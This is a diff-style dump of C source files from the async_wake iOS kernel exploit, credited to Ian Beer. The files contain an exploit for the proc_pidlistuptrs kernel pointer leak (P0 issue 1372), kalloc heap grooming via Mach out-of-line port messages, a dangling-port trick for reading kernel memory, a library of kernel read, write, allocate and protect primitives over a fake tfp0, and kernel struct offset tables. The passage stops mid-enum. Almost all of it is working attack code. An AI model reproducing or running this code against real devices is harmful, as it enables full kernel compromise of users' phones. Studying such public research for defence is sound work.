uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = first_port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
// remove all rights
|
||||
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
|
||||
|
||||
// clear the ipc_port port too
|
||||
WriteKernel64(is_table + (port_index * sizeof_ipc_entry_t), 0);
|
||||
|
||||
mach_port_destroy(mach_task_self(), second_replacement_port);
|
||||
LOG("cleared up");
|
||||
*tfp0 = safer_tfp0;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
#ifndef async_wake_h
|
||||
#define async_wake_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C"
|
||||
#endif
|
||||
kern_return_t async_wake(mach_port_t* tfp0);
|
||||
|
||||
#endif /* async_wake_h */
|
|
@ -0,0 +1,73 @@
|
|||
//
|
||||
// early_kalloc.c
|
||||
// async_wake_ios
|
||||
//
|
||||
// Created by Ian Beer on 12/11/17.
|
||||
// Copyright © 2017 Ian Beer. All rights reserved.
|
||||
//
|
||||
|
||||
#include "early_kalloc.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "kmem.h"
|
||||
#include "koffsets.h"
|
||||
#include "kutils.h"
|
||||
#include "find_port.h"
|
||||
#include "common.h"
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
|
||||
// get a kalloc allocation before we've got a kcall interface to just call it
|
||||
uint64_t early_kalloc(int size)
|
||||
{
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate port");
|
||||
}
|
||||
|
||||
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, msg_size);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = port;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("early kalloc failed to send message");
|
||||
}
|
||||
|
||||
// find the message buffer:
|
||||
|
||||
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
LOG("message buffer: %llx", message_buffer);
|
||||
|
||||
// leak the message buffer:
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
|
||||
|
||||
return message_buffer;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
#ifndef early_kalloc_h
|
||||
#define early_kalloc_h
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
uint64_t early_kalloc(int size);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,264 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "kmem.h"
|
||||
#include "koffsets.h"
|
||||
#include "kutils.h"
|
||||
#include "find_port.h"
|
||||
#include "common.h"
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
|
||||
|
||||
/*
|
||||
* this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
|
||||
*
|
||||
* It will reliably determine the kernel address of a mach port.
|
||||
* Knowing the addresses of ports makes the other UaF exploit much simpler.
|
||||
*/
|
||||
|
||||
// missing headers
|
||||
#define KEVENT_FLAG_WORKLOOP 0x400
|
||||
|
||||
typedef uint64_t kqueue_id_t;
|
||||
|
||||
struct kevent_qos_s {
|
||||
uint64_t ident; /* identifier for this event */
|
||||
int16_t filter; /* filter for event */
|
||||
uint16_t flags; /* general flags */
|
||||
uint32_t qos; /* quality of service when servicing event */
|
||||
uint64_t udata; /* opaque user data identifier */
|
||||
uint32_t fflags; /* filter-specific flags */
|
||||
uint32_t xflags; /* extra filter-specific flags */
|
||||
int64_t data; /* filter-specific data */
|
||||
uint64_t ext[4]; /* filter-specific extensions */
|
||||
};
|
||||
|
||||
#define PRIVATE
|
||||
#include <sys/event.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct kevent_extinfo {
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
};
|
||||
|
||||
extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);
|
||||
|
||||
int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);
|
||||
|
||||
// appends n_events user events onto this process's kevent queue
|
||||
static void fill_events(int n_events)
|
||||
{
|
||||
struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,
|
||||
.ident = 1,
|
||||
.flags = EV_ADD,
|
||||
.udata = 0x2345 } };
|
||||
|
||||
kqueue_id_t id = 0x1234;
|
||||
|
||||
for (int i = 0; i < n_events; i++) {
|
||||
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
|
||||
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
|
||||
|
||||
if (err != 0) {
|
||||
LOG("failed to enqueue user event");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
events_id[0].ident++;
|
||||
}
|
||||
}
|
||||
|
||||
int kqueues_allocated = 0;
|
||||
|
||||
static void prepare_kqueue()
|
||||
{
|
||||
// ensure there are a large number of events so that kevent_proc_copy_uptrs
|
||||
// always returns a large number
|
||||
if (kqueues_allocated) {
|
||||
return;
|
||||
}
|
||||
fill_events(10000);
|
||||
LOG("prepared kqueue");
|
||||
kqueues_allocated = 1;
|
||||
}
|
||||
|
||||
// will make a kalloc allocation of (count*8)+7
|
||||
// and only write to the first (count*8) bytes.
|
||||
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
|
||||
// (the upper byte will be set to 0)
|
||||
static uint64_t try_leak(int count)
|
||||
{
|
||||
int buf_size = (count * 8) + 7;
|
||||
char* buf = calloc(buf_size + 1, 1);
|
||||
|
||||
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
|
||||
|
||||
if (err == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// the last 7 bytes will contain the leaked data:
|
||||
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
|
||||
|
||||
return last_val;
|
||||
}
|
||||
|
||||
struct ool_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports;
|
||||
};
|
||||
|
||||
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
|
||||
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
|
||||
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)
|
||||
{
|
||||
// allocate a port to send the message to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
|
||||
for (int i = 0; i < count; i++) {
|
||||
ports[i] = target_port;
|
||||
}
|
||||
|
||||
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414141;
|
||||
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->ool_ports.address = ports;
|
||||
msg->ool_ports.count = count;
|
||||
msg->ool_ports.deallocate = 0;
|
||||
msg->ool_ports.disposition = disposition;
|
||||
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t)sizeof(struct ool_msg),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to send message: %s", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
static int uint64_t_compare(const void* a, const void* b)
|
||||
{
|
||||
uint64_t a_val = (*(uint64_t*)a);
|
||||
uint64_t b_val = (*(uint64_t*)b);
|
||||
if (a_val < b_val) {
|
||||
return -1;
|
||||
}
|
||||
if (a_val == b_val) {
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
|
||||
{
|
||||
prepare_kqueue();
|
||||
|
||||
int n_guesses = 100;
|
||||
uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));
|
||||
int valid_guesses = 0;
|
||||
|
||||
for (int i = 1; i < n_guesses + 1; i++) {
|
||||
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
|
||||
mach_port_destroy(mach_task_self(), q);
|
||||
uint64_t leaked = try_leak(i - 1);
|
||||
//LOG("leaked %016llx", leaked);
|
||||
|
||||
// a valid guess is one which looks a bit like a kernel heap pointer
|
||||
// without the upper byte:
|
||||
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
|
||||
guesses[valid_guesses++] = leaked | 0xff00000000000000;
|
||||
}
|
||||
}
|
||||
|
||||
if (valid_guesses == 0) {
|
||||
LOG("couldn't leak any kernel pointers");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// return the most frequent guess
|
||||
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
|
||||
|
||||
uint64_t best_guess = guesses[0];
|
||||
int best_guess_count = 1;
|
||||
|
||||
uint64_t current_guess = guesses[0];
|
||||
int current_guess_count = 1;
|
||||
for (int i = 1; i < valid_guesses; i++) {
|
||||
if (guesses[i] == guesses[i - 1]) {
|
||||
current_guess_count++;
|
||||
if (current_guess_count > best_guess_count) {
|
||||
best_guess = current_guess;
|
||||
best_guess_count = current_guess_count;
|
||||
}
|
||||
} else {
|
||||
current_guess = guesses[i];
|
||||
current_guess_count = 1;
|
||||
}
|
||||
}
|
||||
|
||||
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
|
||||
|
||||
free(guesses);
|
||||
|
||||
return best_guess;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_kmem_read(mach_port_name_t port)
|
||||
{
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
}
|
||||
|
||||
uint64_t find_port_address(mach_port_t port, int disposition)
|
||||
{
|
||||
if (have_kmem_read()) {
|
||||
return find_port_via_kmem_read(port);
|
||||
}
|
||||
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
#ifndef find_port_h
|
||||
#define find_port_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
uint64_t find_port_address(mach_port_t port, int disposition);
|
||||
|
||||
#endif /* find_port_h */
|
|
@ -0,0 +1,309 @@
|
|||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "kmem.h"
|
||||
#include "kutils.h"
|
||||
#include "common.h"
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port)
|
||||
{
|
||||
kmem_read_port = port;
|
||||
}
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
void prepare_rwk_via_tfp0(mach_port_t port)
|
||||
{
|
||||
tfp0 = port;
|
||||
}
|
||||
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
|
||||
{
|
||||
tfp0 = fake_tfp0;
|
||||
}
|
||||
|
||||
bool have_kmem_read()
|
||||
{
|
||||
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
bool have_kmem_write()
|
||||
{
|
||||
return (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
size_t kread(uint64_t where, void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
mach_vm_size_t sz, chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_read_overwrite(tfp0,
|
||||
where + offset,
|
||||
chunk,
|
||||
(mach_vm_address_t)p + offset,
|
||||
&sz);
|
||||
if (rv || sz == 0) {
|
||||
LOG("error reading kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += sz;
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t kwrite(uint64_t where, const void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
size_t chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_write(tfp0,
|
||||
where + offset,
|
||||
(mach_vm_offset_t)p + offset,
|
||||
(mach_msg_type_number_t)chunk);
|
||||
if (rv) {
|
||||
LOG("error writing kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += chunk;
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return false;
|
||||
}
|
||||
|
||||
return (kwrite(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
return (kread(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
|
||||
{
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
LOG("kmem_read_port not set, have you called prepare_rk?");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// now do the read:
|
||||
uint32_t val = 0;
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(uint64_t kaddr)
|
||||
{
|
||||
uint32_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
|
||||
{
|
||||
uint64_t lower = rk32_via_kmem_read_port(kaddr);
|
||||
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
|
||||
uint64_t full = ((higher << 32) | lower);
|
||||
return full;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_tfp0(uint64_t kaddr)
|
||||
{
|
||||
uint64_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t ReadKernel32(uint64_t kaddr)
|
||||
{
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t ReadKernel64(uint64_t kaddr)
|
||||
{
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk64_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk64_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
const uint64_t kernel_addr_space_base = 0xffff000000000000;
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
|
||||
{
|
||||
if (dest >= kernel_addr_space_base) {
|
||||
// copy to kernel:
|
||||
wkbuffer(dest, (void*)src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
rkbuffer(src, (void*)dest, length);
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc_wired(uint64_t size)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LOG("allocated address: %llx", addr);
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
LOG("address to wire: %llx", addr);
|
||||
|
||||
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
void kmem_free(uint64_t kaddr, uint64_t size)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,80 @@
|
|||
#ifndef KernelMemory_h
|
||||
#define KernelMemory_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t* data,
|
||||
mach_msg_type_number_t* dataCnt);
|
||||
|
||||
kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t* outsize);
|
||||
|
||||
kern_return_t mach_vm_allocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t* address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
kern_return_t mach_vm_deallocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t mach_vm_protect(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
size_t kread(uint64_t where, void* p, size_t size);
|
||||
size_t kwrite(uint64_t where, const void* p, size_t size);
|
||||
|
||||
#define rk32(kaddr) ReadKernel32(kaddr)
|
||||
#define rk64(kaddr) ReadKernel64(kaddr)
|
||||
uint32_t ReadKernel32(uint64_t kaddr);
|
||||
uint64_t ReadKernel64(uint64_t kaddr);
|
||||
|
||||
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
|
||||
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val);
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size);
|
||||
uint64_t kmem_alloc_wired(uint64_t size);
|
||||
void kmem_free(uint64_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
|
||||
|
||||
// query whether kmem read or write is present
|
||||
bool have_kmem_read(void);
|
||||
bool have_kmem_write(void);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,75 @@
|
|||
#ifndef koffsets_h
|
||||
#define koffsets_h
|
||||
|
||||
enum kstruct_offset {
|
||||
/* struct task */
|
||||
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
KSTRUCT_OFFSET_TASK_NEXT,
|
||||
KSTRUCT_OFFSET_TASK_PREV,
|
||||
KSTRUCT_OFFSET_TASK_ITK_SPACE,
|
||||
KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
|
||||
KSTRUCT_OFFSET_TASK_TFLAGS,
|
||||
|
||||
/* struct ipc_port */
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
/* struct proc */
|
||||
KSTRUCT_OFFSET_PROC_PID,
|
||||
KSTRUCT_OFFSET_PROC_P_FD,
|
||||
KSTRUCT_OFFSET_PROC_TASK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED,
|
||||
KSTRUCT_OFFSET_PROC_P_LIST,
|
||||
|
||||
/* struct filedesc */
|
||||
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
|
||||
|
||||
/* struct fileproc */
|
||||
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
|
||||
|
||||
/* struct fileglob */
|
||||
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
|
||||
|
||||
/* struct socket */
|
||||
KSTRUCT_OFFSET_SOCKET_SO_PCB,
|
||||
|
||||
/* struct pipe */
|
||||
KSTRUCT_OFFSET_PIPE_BUFFER,
|
||||
|
||||
/* struct ipc_space */
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
